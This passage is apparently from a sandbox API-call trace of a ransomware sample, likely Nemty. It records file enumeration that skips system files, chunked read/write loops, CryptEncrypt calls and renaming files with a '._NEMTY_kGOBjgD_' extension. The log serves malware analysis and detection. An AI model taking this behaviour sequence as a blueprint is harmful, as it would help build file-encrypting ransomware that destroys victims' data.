lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0085.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0085.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.300] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.309] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.309] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.320] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.320] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.329] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.330] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.339] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.339] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.357] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.357] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.366] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.366] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.375] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.375] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.375] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.375] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.385] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.385] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.385] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.385] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.395] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.404] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.404] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.410] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.410] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.416] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.416] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0085.416] CloseHandle (hObject=0xffffffff) returned 0 [0085.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0085.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0085.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0085.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0085.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0085.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0085.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94358 [0085.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0085.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0085.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0085.417] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png._nemty_kgobjgd_")) returned 0 [0085.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0085.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0085.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0085.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0085.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0085.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0085.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0085.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0085.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0085.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.417] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0085.417] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0085.417] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0085.417] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="...") returned 1 [0085.417] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="windows") returned -1 [0085.417] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0085.417] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="rsa") returned -1 [0085.417] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0085.417] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0085.417] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0085.417] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0085.417] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0085.418] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0085.418] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0085.418] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0085.418] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0085.418] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0085.418] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0085.418] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0085.418] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0085.418] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="programdata") returned -1 [0085.418] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="appdata") returned 1 [0085.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0085.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0085.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0085.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0085.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94358 [0085.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0085.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0085.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0085.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0085.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0085.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0085.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0085.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0085.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0085.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0085.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0085.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0085.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0085.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0085.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0085.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94358 [0085.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0085.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0085.419] Sleep (dwMilliseconds=0x5) [0085.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe6902e30, dwHighDateTime=0x1d561e7)) [0085.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe6902e30, dwHighDateTime=0x1d561e7)) [0085.423] GetLastError () returned 0x5 [0085.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0085.423] GetLastError () returned 0x5 [0085.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0085.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0085.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0085.424] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0085.424] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0085.424] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0085.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0085.424] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="L3WVVYOQ01uPvR7/lOAIkfGgQnC/99PP7qOv/Cq932+a+o4jrNlzz41/yAvBRqVd\r\nR5qH8SW2KxFWO6ttpgm9/oMA5wI+DltvOeVEKHfLgBuK+Z5gZzzwMk3XSmOmXbct\r\nva0/yeMJ7Kosf+P8ul+NtPpTomd/Ah7z9uVVV3wVB/thv/DsBxXLBc+iIm/jyRQy\r\nqOtaf+wkBIezbqJnaHjnBUJL/7IwPfuYWTEse3S82c2dSb/Zkh/7Tyz+mZOds2sO\r\ncETFKZtaWrDKz/7yl4UQeEoLHa1c38mYoU4VVpMY35vbfM/IvJ787dkkEgJlC1K8\r\nspgxH2Kz2oLcv2c4N6OvEg==\r\n", pcchString=0x653e91c) returned 1 [0085.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0085.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0085.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0085.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0085.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0085.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0085.424] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0085.424] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0085.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0085.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.434] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.434] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff 